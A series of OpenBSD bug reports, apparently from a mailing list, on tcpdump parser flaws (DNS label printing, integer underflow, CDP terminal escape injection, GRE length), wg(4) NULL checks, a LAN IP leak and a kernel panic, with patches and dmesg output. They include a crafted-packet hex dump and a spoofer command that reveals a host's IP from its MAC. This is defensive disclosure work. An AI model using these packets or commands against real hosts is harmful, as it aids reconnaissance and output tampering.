+   int ilen;
printf(" for ");
oip = >icmp_ip;
-   ip_print((u_char *)oip, ntohs(oip->ip_len));
+   ilen = length - ((u_char *)oip - (u_char *)bp);
+   if (ilen <= 0 || ilen > length)
+   goto trunc;
+   ip_print((u_char *)oip, ilen);
}
return;
 trunc:


dmesg:
My host hasn't changed.

Possibly wrong information in tcpdump/print-domain.c

[pjp]

>Synopsis:  Possibly wrong information in tcpdump/print-domain.c
>Category:  user
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
print-domain.c in tcpdump has some bug.  In fact it's not really sure
itself whether to print a label at 32 bytes or 63 bytes.  Though according to
RFC 1034/1035 a label is maximally 63 bytes.  There is some sort of EDNS0 mode
with bitmap lengths that I don't fully understand myself but it's there and
a crafted packet can give information that is possibly wrongly printed.

In print-domain.c there is function labellen() which maximally gives back a
labellen of 32 if it's one of these bitmap packets.  In function
blabel_print() the variable lim is maximally 64 but the for loop will print
maximally 32 bytes in hex (so 64 characters).  Let me show you some code:

109 slen = (bitlen + 3) / 4;
110 lim = cp + 1 + slen;
111
112 /* print the bit string as a hex string */
113 printf("\\[x");
114 for (bitp = cp + 1, b = bitlen; bitp < lim && b > 7; b -= 8, bit
p++) {
115 TCHECK(*bitp);
116 printf("%02x", *bitp);
117 }   


Luckily this discrepancy can't be taken further and all it's doing is printing
possible misinformation in the tcpdump header, if (-X is not used you'll never
find out though what the true domain was I think).

>How-To-Repeat:
It looks like this in a specially crafted packet.

14:49:01.321764 192.168.177.13 > 255.255.255.255: gre [R] 0800 off 0x0 
(rtaf=0x0) 192.168.177.13.59 > 255.255.255.255.53: [no udp cksum] 13352+ [1au] 
A? \[x3132333435363738393031323334353637383930313233343536373839303132/256].(0) 
(ttl 255, id 0, len 28) (ttl 255, id 0, len 20)
  : 4500 0014   ff2f 4a05 c0a8 b10d  E/J.
  0010:   4000 0800    00e8  @...
  0020:          
  0030:          
  0040:          
  0050:          
  0060:          
  0070:          
  0080:          
  0090:          
  00a0:          
  00b0:          
  00c0:          
  00d0:          
  00e0:          
  00f0:          
  0100:       4500 001c  E...
  0110:   ff11 4a1b c0a8 b10d    ..J.
  0120: 003b 0035   3428 0100 0001   .;.54(..
  0130:  0001 4100 3132 3334 3536 3738 3930  A.1234567890
  0140: 3132 3334 3536 3738 3930 3132 3334 3536  1234567890123456
  0150: 3738 3930 3132  0100 0100 0100 0100  789012..
  0160: 2904 d000 0080  00   )

If you would like the file that generated this GRE packet with DNS information
in it, please mail me for it (I can only give it to @openbsd.org addresses).
>Fix:
I'm not going to fix this one, but I wanted to call out the bug!


dmesg:
See my other mails for this.

possible underflow (wrap) in tcpdump/print-domain.c

[pjp]

>Synopsis:  possible underflow (wrap) in tcpdump/print-domain.c
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
While code reading and giving signedness scrutiny in print-domain.c I 
noticed there being opportunity for variables to underflow into the negative and
thus being positive in testing.  Here is a code-snippet of function 
ns_print():

572 void
573 ns_print(const u_char *bp, u_int length, int is_mdns)
574 {
575 const HEADER *np;
576 int qdcount, ancount, nscount, arcount;
577 const u_char *cp;
578 u_int16_t b2;
579
580 np = (const HEADER *)bp;
581 TCHECK(*np);
582 /* get the byte-order right */
583 qdcount = EXTRACT_16BITS(>qdcount);
584 ancount = EXTRACT_16BITS(>ancount);
585 nscount = EXTRACT_16BITS(>nscount);
586 arcount = EXTRACT_16BITS(>arcount);

notice qdcount,ancount,nscount and arcount can wrap into the negative and
that is being tested like so:

603 while (qdcount--) {

But really what's meant is qdcount-- > 0 as there is no negatives in here.  I
personally don't feel comfortable having tcpdump go deeper into this and
print-domain.c is complex(!!)  I can only guess that with this it's possible
to print domain names that don't exist with this.  I just don't feel all that
comfortable with this, it gives me a bad feeling.
>How-To-Repeat:
code-reading.
>Fix:

? tcpdump.patch
Index: print-domain.c
===
RCS file: /cvs/src/usr.sbin/tcpdump/print-domain.c,v
retrieving revision 1.27
diff -u -p -u -r1.27 print-domain.c
--- print-domain.c  24 Jan 2020 22:46:36 -  1.27
+++ print-domain.c  26 Feb 2023 08:42:21 -
@@ -600,7 +600,7 @@ ns_print(const u_char *bp, u_int length,
printf(" [%dq]", qdcount);
/* Print QUESTION section on -vv */
cp = (const u_char *)(np + 1);
-   while (qdcount--) {
+   while (qdcount-- > 0) {
if (qdcount < EXTRACT_16BITS(>qdcount) - 1)
putchar(',');
if (vflag > 1) {
@@ -614,10 +614,10 @@ ns_print(const u_char *bp, u_int length,
}
}
printf(" %d/%d/%d", ancount, nscount, arcount);
-   if (ancount--) {
+   if (ancount-- > 0) {
if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
goto trunc;
-   while (cp < snapend && ancount--) {
+   while (cp < snapend && ancount-- > 0) {
putchar(',');
if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
goto trunc;
@@ -627,11 +627,11 @@ ns_print(const u_char *bp, u_int length,
goto trunc;
/* Print NS and AR sections on -vv */
if (vflag > 1) {
-   if (cp < snapend && nscount--) {
+   if (cp < snapend && nscount-- > 0) {
printf(" ns:");
if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
goto trunc;
-   while (cp < snapend && nscount--) {
+   while (cp < snapend && nscount-- > 0) {
putchar(',');
if ((cp = ns_rprint(cp, bp, is_mdns)) 
== NULL)
goto trunc;
@@ -639,11 +639,11 @@ ns_print(const u_char *bp, u_int length,
}
if (nscount > 0)
goto trunc;
-   if (cp < snapend && arcount--) {
+   if (cp < snapend && arcount-- > 0) {
printf(" ar:");
if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
goto trunc;
-   while (cp < snapend && arcount--) {
+   while (cp < snapend && arcount-- > 0) {
putchar(',');
if ((cp = ns_rprint(cp, bp, is_mdns)) 
== NULL)
goto trunc;
@@ -666,28 +666,28 @@ ns_print(const u_char *bp, u_int length,
printf(" [b2&3=0x%x]", b2);
 
if (DNS_OPCODE(np) == 

tcpdump/print-cdp.c

[pjp]

>Synopsis:  tcpdump/print-cdp.c allows escape codes to be sent to terminal
>Category:  system
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
While trying to disturb tcpdump for the last few days (see earlier posts
to bugs@), I came across tcpdump's CDP protocol.  I was able to change the
terminal colour of my tcpdump with a specially crafted packet (see earlier 
posts too).  CDP does no filtering of what gets send and outputs everything 
from the
wire like so:

 84 switch(type) {
 85 case 0x01:
 86 printf(" DevID '%.*s'", len - 4, p + i + 4);
 87 break;

>How-To-Repeat:
code-reading.
>Fix:
for (x = 0; x < len - 4; x++) {
printf("%c", isprint(*(p + i + x + 4)) ? *(p + i + x + 4) : 
'.');
}

or something like that, I think we have ctypes for tcpdump.  Also
the way IP addresses are printed in this is sorta disgusting.  There
is functions for that.


dmesg:
OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022

r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432852992 (8042MB)
avail mem = 8139448320 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.21" date 
11/13/2020
smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
apm0 at mainbus0
ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1, 2: "interrupt-controller"
agtimer0 at mainbus0: 54000 kHz
acpi0 at mainbus0: ACPI 6.3
acpi0: sleep states
acpi0: tables DSDT FACP CSRT DBG2 GTDT IORT APIC PPTT BGRT
acpi0: wakeup devices
acpiiort0 at acpi0
"BCM2849" at acpi0 not configured
"BCM2835" at acpi0 not configured
"BCM2854" at acpi0 not configured
"ACPI0004" at acpi0 not configured
xhci0 at acpi0 XHC0 addr 0x6/0x1000 irq 175, xHCI 1.0
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 configuration 1 interface 0 "Generic xHCI root hub" rev 3.00/1.00 
addr 1
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0004" at acpi0 not configured
"BCM2848" at acpi0 not configured
"BCM2850" at acpi0 not configured
"BCM2856" at acpi0 not configured
"BCM2845" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2838" at acpi0 not configured
"BCM2839" at acpi0 not configured
"BCM2844" at acpi0 not configured
pluart0 at acpi0 URT0 addr 0xfe201000/0x1000 irq 153
"BCM2836" at acpi0 not configured
"BCM2EA6" at acpi0 not configured
"MSFT8000" at acpi0 not configured
sdhc0 at acpi0 SDC1 addr 0xfe30/0x100 irq 158
sdhc0: base clock frequency unknown
"BCM2855" at acpi0 not configured
bse0 at acpi0 ETH0 addr 0xfd58/0x1 irq 189: address dc:a6:32:cc:db:a7
brgphy0 at bse0 phy 1: BCM54210E 10/100/1000baseT PHY, rev. 2
"PNP0C06" at acpi0 not configured
acpitz0 at acpi0: critical temperature is 90 degC
simplefb0 at mainbus0: 640x480, 32bpp
wsdisplay0 at simplefb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
uhub1 at uhub0 port 1 configuration 1 interface 0 "VIA Labs USB2.0 Hub" rev 
2.10/4.21 addr 2
uhidev0 at uhub1 port 4 configuration 1 interface 0 "APC Back-UPS ES 700G 
FW:871.O4 .I USB FW:O4" rev 1.10/1.06 addr 3
uhidev0: iclass 3/0, 146 report ids
upd0 at uhidev0
uhid0 at uhidev0 reportid 1: input=0, output=0, feature=1
uhid1 at uhidev0 reportid 2: input=0, output=0, feature=1
uhid2 at uhidev0 reportid 3: input=0, output=0, feature=1
uhid3 at uhidev0 reportid 4: input=0, output=0, feature=1
uhid4 at uhidev0 reportid 5: input=0, output=0, feature=1
uhid5 at uhidev0 reportid 6: input=1, output=0, feature=1
uhid6 at uhidev0 reportid 7: input=0, output=0, feature=2
uhid7 at uhidev0 reportid 8: 

possible underflow in tcpdump/print-gre.c

[pjp]

>Synopsis:  possible underflow in tcpdump/print-gre.c
>Category:  user
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
In tcpdump/print-ether.c length is initialized as h->len (struct 
pcap_pkthdr).
snapend is based on p + h->caplen (struct pcap_pkthdr), which is based 
on 
snaplen.

In tcpdump/print-gre.c u_int l is derived from snapend - p (line 123)
and great care is taken that l does not underflow to the u_int maximum.
However length is not checked for underflow and it is possibly 
initiallysmaller than snapend - p (snaplen).  It is then passed to 
other 
functions under line number 234.

>How-To-Repeat:
never tested in practice, code-reading only.
>Fix:
length should be checked for underflow.  To do this save length at
start of function and then test this whether length increased since it
is u_int it will underflow into the high 2 billion region.


dmesg:
OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022

r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432852992 (8042MB)
avail mem = 8139448320 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.21" date 
11/13/2020
smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
apm0 at mainbus0
ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1, 2: "interrupt-controller"
agtimer0 at mainbus0: 54000 kHz
acpi0 at mainbus0: ACPI 6.3
acpi0: sleep states
acpi0: tables DSDT FACP CSRT DBG2 GTDT IORT APIC PPTT BGRT
acpi0: wakeup devices
acpiiort0 at acpi0
"BCM2849" at acpi0 not configured
"BCM2835" at acpi0 not configured
"BCM2854" at acpi0 not configured
"ACPI0004" at acpi0 not configured
xhci0 at acpi0 XHC0 addr 0x6/0x1000 irq 175, xHCI 1.0
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 configuration 1 interface 0 "Generic xHCI root hub" rev 3.00/1.00 
addr 1
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0004" at acpi0 not configured
"BCM2848" at acpi0 not configured
"BCM2850" at acpi0 not configured
"BCM2856" at acpi0 not configured
"BCM2845" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2838" at acpi0 not configured
"BCM2839" at acpi0 not configured
"BCM2844" at acpi0 not configured
pluart0 at acpi0 URT0 addr 0xfe201000/0x1000 irq 153
"BCM2836" at acpi0 not configured
"BCM2EA6" at acpi0 not configured
"MSFT8000" at acpi0 not configured
sdhc0 at acpi0 SDC1 addr 0xfe30/0x100 irq 158
sdhc0: base clock frequency unknown
"BCM2855" at acpi0 not configured
bse0 at acpi0 ETH0 addr 0xfd58/0x1 irq 189: address dc:a6:32:cc:db:a7
brgphy0 at bse0 phy 1: BCM54210E 10/100/1000baseT PHY, rev. 2
"PNP0C06" at acpi0 not configured
acpitz0 at acpi0: critical temperature is 90 degC
simplefb0 at mainbus0: 640x480, 32bpp
wsdisplay0 at simplefb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
uhub1 at uhub0 port 1 configuration 1 interface 0 "VIA Labs USB2.0 Hub" rev 
2.10/4.21 addr 2
uhidev0 at uhub1 port 4 configuration 1 interface 0 "APC Back-UPS ES 700G 
FW:871.O4 .I USB FW:O4" rev 1.10/1.06 addr 3
uhidev0: iclass 3/0, 146 report ids
upd0 at uhidev0
uhid0 at uhidev0 reportid 1: input=0, output=0, feature=1
uhid1 at uhidev0 reportid 2: input=0, output=0, feature=1
uhid2 at uhidev0 reportid 3: input=0, output=0, feature=1
uhid3 at uhidev0 reportid 4: input=0, output=0, feature=1
uhid4 at uhidev0 reportid 5: input=0, output=0, feature=1
uhid5 at uhidev0 reportid 6: input=1, output=0, feature=1
uhid6 at uhidev0 reportid 7: input=0, output=0, feature=2
uhid7 at uhidev0 reportid 8: input=0, output=0, feature=2
uhid8 at uhidev0 reportid 9: input=0, 

bugs around wg(4)

[pjp]

>Synopsis:  some possible bugs with wg(4)
>Category:  system
>Environment:
System  : OpenBSD 7.1
Details : OpenBSD 7.1 (GENERIC.MP) #3: Sun May 15 10:27:01 MDT 2022
 
r...@syspatch-71-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
I have been chasing a discrepancy between wg(4) rx and tx values
and the systems interface counters, here is a demonstration:

root@echo# ifconfig wg  
wg0: flags=80c3 rdomain 24 mtu 1420
index 13 priority 0 llprio 3
wgport CENSORED
wgpubkey CENSORED
wgpeerCENSORED
wgendpoint CENSORED port
tx: 349674068, rx: 16964684844
last handshake: 8 seconds ago
wgaip 0.0.0.0/0
wgaip 192.168.0.0/16
groups: wg
inet 192.168.178.2 netmask 0xff00 broadcast 192.168.178.255

root@echo# netstat -nI wg0 -b
NameMtu   Network Address   Ibytes Obytes
wg0 1420  16544461232  243495034
wg0 1420  192.168.178 192.168.178.2 16544461232  243495034

Notice the Ibytes and rx values differ, in the wg driver they are higher 
(possibly having to do with padding?).  The same trend on tx and Obytes.

So I couldn't explain it and put some eyeballs on wg(4) driver code and
noticed that wg_tag_get() can return NULL (if m_tag_get() returns NULL which
does a pool_get() which can return NULL if PR_NOWAIT is used)... and
wg_tag_get() uses M_NOWAIT.  So that's all great, if the wg_tag_get() return
value was checked, but it isn't checked consistently.  Now I must say, I've
had my youtube TV on wireguard for a week or more and I'm happy to say it
hasn't paniced my endpoint yet.  But if the OpenBSD system runs out of 
resources ever it may.  pool_get() manpage had this to say:

 pool_get() will return a pointer to an item allocated from the pool.  If
 PR_NOWAIT or PR_LIMITFAIL were passed as flags to the pool it may return
 NULL if there are no resources available or if the pool hard limit has
 been reached, respectively.

Take a look at wg_encap() in the wg(4) driver (7.1 code):

   1491 t = wg_tag_get(m);
   1492 peer = t->t_peer;

t can be NULL which would make peer bogus (panic here?).

I just wanted to point this out without making the tough decisions and work.

>How-To-Repeat:
discrepancy causes one to examine the code which causes one to find
this.
>Fix:
it's over my head, sorry.


dmesg:
OpenBSD 7.1 (GENERIC.MP) #3: Sun May 15 10:27:01 MDT 2022

r...@syspatch-71-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 12748275712 (12157MB)
avail mem = 12344619008 (11772MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.8 @ 0xa2ede000 (53 entries)
bios0: vendor Intel Corporation version "RYBDWi35.86A.0381.2019.0807.1532" date 
08/07/2019
bios0: Intel Corporation NUC5i3RYB
acpi0 at bios0: ACPI 5.0
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP APIC FPDT FIDT MCFG HPET SSDT UEFI LPIT SSDT ASF! SSDT 
SSDT SSDT DMAR
acpi0: wakeup devices PEG0(S4) PEGP(S4) PEG1(S4) PEGP(S4) PEG2(S4) PEGP(S4) 
RP01(S4) PXSX(S4) RP02(S4) PXSX(S4) RP03(S4) PXSX(S4) RP04(S4) PXSX(S4) 
RP05(S4) PXSX(S4) [...]
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i3-5010U CPU @ 2.10GHz, 2095.53 MHz, 06-3d-04
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4.1.1.1, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i3-5010U CPU @ 2.10GHz, 2095.15 MHz, 06-3d-04
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 

Information leakage of IP-layer data on LAN

[pjp]

>Synopsis:  IP Information leakage using MAC address
>Category:  system
>Environment:
System  : OpenBSD 7.1
Details : OpenBSD 7.1 (GENERIC.MP) #3: Sun May 15 10:27:01 MDT 2022
 
r...@syspatch-71-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
Pretend you're on a large Wifi network at a conference and someone wants to
know your IP address but they only have your MAC address.  Here is a quick
dirty way of finding your IP address:

./cb -ddc:a6:32:cc:db:a7,192.168.173.254 -I0.0 
-PaA

The program is an ethernet spoofer and allows addressing the MAC address via a
bpf device.  -I0.0 is icmp type 0 code 0 (echo reply) and -P is just any random
payload.  (old versions of this program shouldn't work as well).

leakage of primary IP address:


17:16:33.525822 b8:ae:ed:73:a7:6c dc:a6:32:cc:db:a7 0800 112: 192.168.177.13 > 
192.168.177.254: icmp: echo reply (id: seq:0) [icmp cksum ok] (ttl 64, id 
16785, len 98)
17:16:33.525887 dc:a6:32:cc:db:a7 b8:ae:ed:73:a7:6c 0800 70: 192.168.177.14 > 
192.168.177.13: icmp: 192.168.177.254 protocol 1 port 62483 unreachable [icmp 
cksum ok] (ttl 255, id 29020, len 56)

Also these two work (different subnet):

17:29:51.728721 b8:ae:ed:73:a7:6c dc:a6:32:cc:db:a7 0800 112: 192.168.177.13 > 
192.168.173.254: icmp: echo reply (id: seq:0) [icmp cksum ok] (ttl 64, id 
7720, len 98)
17:29:51.728780 dc:a6:32:cc:db:a7 b8:ae:ed:73:a7:6c 0800 70: 192.168.177.14 > 
192.168.177.13: icmp: 192.168.173.254 protocol 1 port 62483 unreachable [icmp 
cksum ok] (ttl 255, id 49018, len 56)


and this one (notice destination IP is 4.3.2.1):

17:30:35.448440 b8:ae:ed:73:a7:6c dc:a6:32:cc:db:a7 0800 112: 192.168.177.13 > 
4.3.2.1: icmp: echo reply (id: seq:0) [icmp cksum ok] (ttl 64, id 52302, 
len 98)
17:30:35.448513 dc:a6:32:cc:db:a7 b8:ae:ed:73:a7:6c 0800 70: 192.168.177.14 > 
192.168.177.13: icmp: 4.3.2.1 protocol 1 port 62483 unreachable [icmp cksum ok] 
(ttl 255, id 16147, len 56)

Here is the /etc/sysctl.conf file of 192.168.177.14:

root@host# more /etc/sysctl.conf
/etc/sysctl.conf: No such file or directory

So there is no forwarding going on.  How can this information leakage be 
stopped?
>How-To-Repeat:
network ethernet spoofers can do this with tcpdump.
>Fix:
None provided, this is difficult.


dmesg:
removed.

panic on a macbook pro

[pjp]

>Synopsis:  panic in pledge_recvfd()
>Category:  kernel
>Environment:
System  : OpenBSD 7.0
Details : snapshot from at least a week ago


Architecture: OpenBSD.amd64
Machine : amd64
>Description:
I'm plagued with panics on this macbook pro lately, they are always
similar.  I have saved the panic string with a camera.
https://mainrechner.de/IMG_0053.jpg
Please forgive the smudgy screen it's a 2015 macbook pro and I did
not give up the laptop for apple's trade-in.  if you remember the
screen on those is really smudgy.  Of that screenshot I did some work
writing it out in ascii:

uvm_fault(0xfd8442798008, 0x28, 0, 1) -> e
kernel:  page fault trap, code=0
Stopped at pledge_recvfd+0x59:  movl 0x28(%rsi), %eax
TID PID UID PRFLAGS PFLAGS  CPU COMMAND
*425956 33538   10000x32 0x400 0K   chrome
 453995 97650   0x14000  0x200  1   reaper
pledge_recvfd(8000ba40,0) at pledge_recvfd+0x59
unp_externalize(d808199c700,210,80) at unp_externalize+0xfc
soreceive(d836402b248,800034f40a68,800034f40a08,0,...) at 
soreceive+0x611
rcvit(...) at recvit+0x20b
sys_recvmsg(...) at sys_recvmsg+0xd4
>How-To-Repeat:
They happen with chrome.
>Fix:
Not provided.


dmesg:
OpenBSD 7.0-current (GENERIC.MP) #172: Wed Dec 15 15:35:28 MST 2021
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 17059287040 (16269MB)
avail mem = 16526290944 (15760MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.7 @ 0x8afac000 (32 entries)
bios0: vendor Apple Inc. version "186.0.0.0.0" date 06/14/2019
bios0: Apple Inc. MacBookPro12,1
acpi0 at bios0: ACPI 5.0
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP HPET APIC SBST ECDT SSDT SSDT SSDT SSDT SSDT SSDT SSDT 
SSDT DMAR MCFG
acpi0: wakeup devices PEG0(S3) EC__(S3) HDEF(S3) RP01(S3) RP02(S3) RP03(S4) 
ARPT(S4) RP05(S3) RP06(S3) SPIT(S3) XHC1(S3) ADP1(S3) LID0(S3)
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpihpet0 at acpi0: 14318179 Hz
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i5-5287U CPU @ 2.90GHz, 2800.42 MHz, 06-3d-04
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4.1.1.1, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i5-5287U CPU @ 2.90GHz, 2800.01 MHz, 06-3d-04
cpu1: 
